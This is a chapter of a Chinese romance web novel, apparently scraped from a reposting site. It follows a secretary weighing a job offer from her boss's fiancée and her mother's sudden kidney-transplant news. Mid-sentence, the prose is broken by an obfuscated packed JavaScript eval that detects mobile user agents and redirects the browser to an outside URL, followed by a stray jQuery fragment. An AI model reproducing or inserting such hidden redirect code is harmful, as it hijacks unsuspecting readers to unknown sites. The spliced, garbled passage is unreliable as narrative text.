胡其盈确实在考虑让乐夏予跳槽到胡氏的事情，并且在又一次和乐夏予一起吃饭的时候当面向她提起了。


    乐夏予的风寒感冒刚好，还留着一点没断根的咳嗽毛病，听见胡其盈的话之后在呼吸中岔了气，被空气呛得面红耳赤，咳得头晕眼花险些喘不过气，抖着手端起杯中的温水猛灌两大口才勉强压下。


    她擦了擦眼角咳出的泪花，又喝了一口水润润嗓子，然后才讶异道：“怎么想找我，你开出的条件可以找到更深资历的人，许秘书之类的……”说着顿了顿，又弱弱补充了一句，“我不是让你再挖施总一个墙角的意思，就是打个比方。”


    和施氏相等的福利，但比施氏更高的薪资，还有公司附近三室一厅的员工公寓。待遇好得乐夏予问心有愧。


    但胡其盈只是看着她，语气一如既往的冷静平稳：“我调查过你的工作履历，你的工作和学习能力都很强，不用妄自菲薄，你值得我开出的条件。”


    “到胡氏做我的副手，比留在施氏更能有你个人的发展空间。”


    但也意味会更加忙碌。


    施行易接手施氏多年，团队稳定，目前公司的发展也以稳健为主，而胡其盈才刚要接手胡氏，心腹团队的建立还要从零开始，而她的野心也远不止是满足安稳的现状。


    与公司其他派系的对弈，新团队的磨合，公司扩张的瓶颈，这些挑战也是机遇，也代表着要把自己全心投入到公司的事业上，是和胡其盈开出的高待遇相匹配的工作量。


    说不心动是假的，乐夏予要是没点野心也做不到能进施氏给施行易当秘书的职位。但相对平稳的施氏还能留给她一点游刃有余的空间照顾在医院的母亲，胡氏恐怕不行，她还没有办法毫无后顾之忧地奔向自己想做的事业。


    可是……


    乐夏予垂眸看向胡其盈递过来的草拟协议，心中的天秤仍然摇摆不定，她还有其他的私心。考虑再三，最终还是犹豫着开口：“抱歉，我还是没有办法马上做出决定。”


    “没有关系，不用现在就做出决定。”胡其盈也不着急，“在过不久就要过年了，可以年后再给我答复。”


    胡其盈说着又从兜里摸出一张名片来，上面写着老张助理的联系方式：“这位是我父亲的助理，目前暂时帮我处理部分工作。你如果考虑清楚了可以和他联系，会走正规招聘流程和你进行面谈。”


    就算是BOSS直聘也需要走流程，免得空降会有流言蜚语。乐夏予心里明白，感激地接过老张助理的名片，点点头道：“好，我会好好考虑这次机会的，谢谢你，小胡总。”


    工作的时候要称呼职务，胡其盈对这个只在工作场合出现的称呼也接受良好，静静看着乐夏予将草拟协议和名片都收起，冷不丁说了一句：“如果你打算和曲先生在一起，来胡氏会更好。”


    乐夏予放包的手一顿，咔哒咔哒抬起头，看着胡其盈表情一如既往的脸。


    胡其盈说这话没有错也很在理，但从情感关系上分析利弊，莫名的乐夏予总觉得这不像是胡其盈会说出的话。但要说是谁在背后出主意的话，人选也就那么几个。


    她和曲南飞的暧昧关系没有大张旗鼓也没有刻意隐瞒，但最清楚的人除了两位当事人应该就只有胡其盈和施行易，因为不知道为什么在她的感情发生变化的每个重大节点里，老板和老板的未婚妻都在现场。


    纠结片刻，她还是直接问了出口：“其盈，这种谈判话术不像你会用的，曲先生说的？”


    “不是，是施先生。”胡其盈有问必答，“他告诉我如果我想让你到胡氏工作，这么说可以增加我的胜算。”


    乐夏予扶额：“要不是你们都是大集团，我都要怀疑施总是不是早就想开除我，但不想给离职赔偿，和你联合给我做局了。”


    但不可否认的是施行易教的话术确实戳中了她的私心。


    两个人想要在一起光是相爱是远远不够的。她的家庭不要说和施、胡、曲三家这种有底蕴的豪门相比，和普通的小老板暴发户都有着一定的差距。


    门户上的差别太大，曲南飞可以轻易的为她提供许多帮助，反观她除了感情什么都给不了。倘若感情也总有一天会消散，这样的关系太不牢靠。乐夏予不想走上父母的老路，更不想走上豪门怨侣的歧路。


    她想独立的站在曲南飞身边，而不是作为一个豪门少爷的附属品。为此她需要更多的底气，更多的勇气，更多的力量，多到哪怕有一天她和曲南飞的感情走到了终焉，她也能潇洒的说再见，保全双方的体面。


    这是她能想到的让自己不再有顾虑和芥蒂去靠近一段亲密关系的最好解法。


    只是永远排在曲南飞之前的是她的母亲，设想的所有一切都要建立在乐母能够匹配肾源成功手术的前提上。而此刻的乐夏予没想到的是能够得偿所愿的时机来得这么快，又或者应该说是终于到来。


    -


    乐夏予通常只有休息日才会到医院来，工作日下班后总合不上医院的探望时间，乐母也不允许她大晚上还来回奔波。


    一周一次的会面，母女之间的话也没有很多。乐母的精力不足，乐夏予更是不会主动提起工作上的烦心事，可除去这些，一直过着两点一线生活的乐夏予就没有什么好话题了。


    乐夏予坐在病床边上沉默的削着苹果，苹果皮扭扭曲曲没有中断。


    乐母躺在病床上看着她，柔声道：“小夏，最近是不是交男朋友了？”


    削了一半的苹果皮啪的一声落到了垃圾桶里，乐夏予诧异地抬头看着母亲：“没有，怎么突然问这个？”


    “你这几次来看我隔三差五就要拿手机回消息，表情看起来也好像有别的心事。”乐母轻轻笑了笑，“我好歹也是你的妈妈。”


    乐夏予有点心虚地低头继续削苹果，在苹果皮肉分离的沙沙声中说道：“还不算，现在……还只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934487|173972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是朋友。”


    乐母了然的点点头，又问：“是工作上认识的吗？”


    “不是。”乐夏予削完了苹果皮又开始将苹果切成小块，“是……之前说过的那个大小姐朋友的表哥。”


    乐母愣了一下，面上露出一丝担忧，但最后还是只化作一声柔柔的叹息：“小夏，你向来有主见，妈妈相信你有自己的考量，我支持你的所有决定。”


    “嗯。”乐夏予也大概明白母亲没有说出口的话是关乎什么，无非就是担心门第家世这类东西会让她受委屈，但她也早就考虑过了。


    “还有一点。”乐母轻轻拍了拍乐夏予放下水果刀的手，她的手背有些浮肿，血管的位置上布满针眼，“不要因为我的错误而让自己畏惧不前，也不用太担心我。你已经教会了我勇敢。”


    乐夏予的眼眶倏地发红，鼻子也微微泛酸，但好在今天没扎起的长发能为她遮挡几分情绪，只是嗓子也像被棉花堵住了一样，只能从鼻腔里又挤出一声“嗯”来。


    她把切成小块的苹果放在乐母面前，佯装着喉咙不舒服清嗓子才让声带又恢复了运作：“吃一点吧，医生说可以吃。”


    虚掩着的病房门突然被推开，乐母的主治医师站在门口，脸上带着些许喜悦的笑意：“乐小姐，好消息！刚刚收到通知有配型成功的供体，供肾状态良好。没有问题的话，现在禁食禁水，配合做个术前检查，7小时后可以安排手术。”


    乐母和乐夏予都是一个怔愣，最后还是乐夏予先反应过来，眼疾手快收走了乐母还没放入口中的苹果小块。


    主治医生看着乐夏予着急忙慌的样子忙安抚道：“不用紧张，最近你妈妈的状态都很稳定，而且这次供肾匹配度很高，手术成功率很高的。”


    “嗯，行。”乐夏予做了一个深呼吸，强迫自己从手忙脚乱的状态中冷静下来，“那我现在该做什么？”


    “跟我去签一下手术同意书，不用担心。”


    主治医师对乐夏予温和地笑了笑。乐母住院许久，他多少也了解了乐夏予的家庭情况，知道乐夏予对母亲的病有多在意。


    在签署完文件之后就只是等待。乐夏予一个人坐在走廊的座椅上，低头拿出手机给曲南飞发消息。


    在坦白过乐母的病情之后，曲南飞曾经提过会尽可能帮忙安排。乐夏予不知道这一次的奇迹是偶然还是曲南飞带来的，她只是确确实实想将她的喜悦和激动向他分享。


    曲南飞不知道是不是恰好正在玩手机，消息回得飞快：“恭喜！我现在就去医院，等我。”


    乐夏予看着他的信息，混杂着不安和喜悦的心终于安定了些许。将手机息屏，擦掉了刚刚低头时悄悄掉下的一点泪水，她看向窗外才发现外面不知道什么时候下起了雪。


    今年的雪期来得晚，这是第一场雪。


    或许今年能过个好年。乐夏予靠着墙，发出了一声长长的、长长的如释重负的叹息。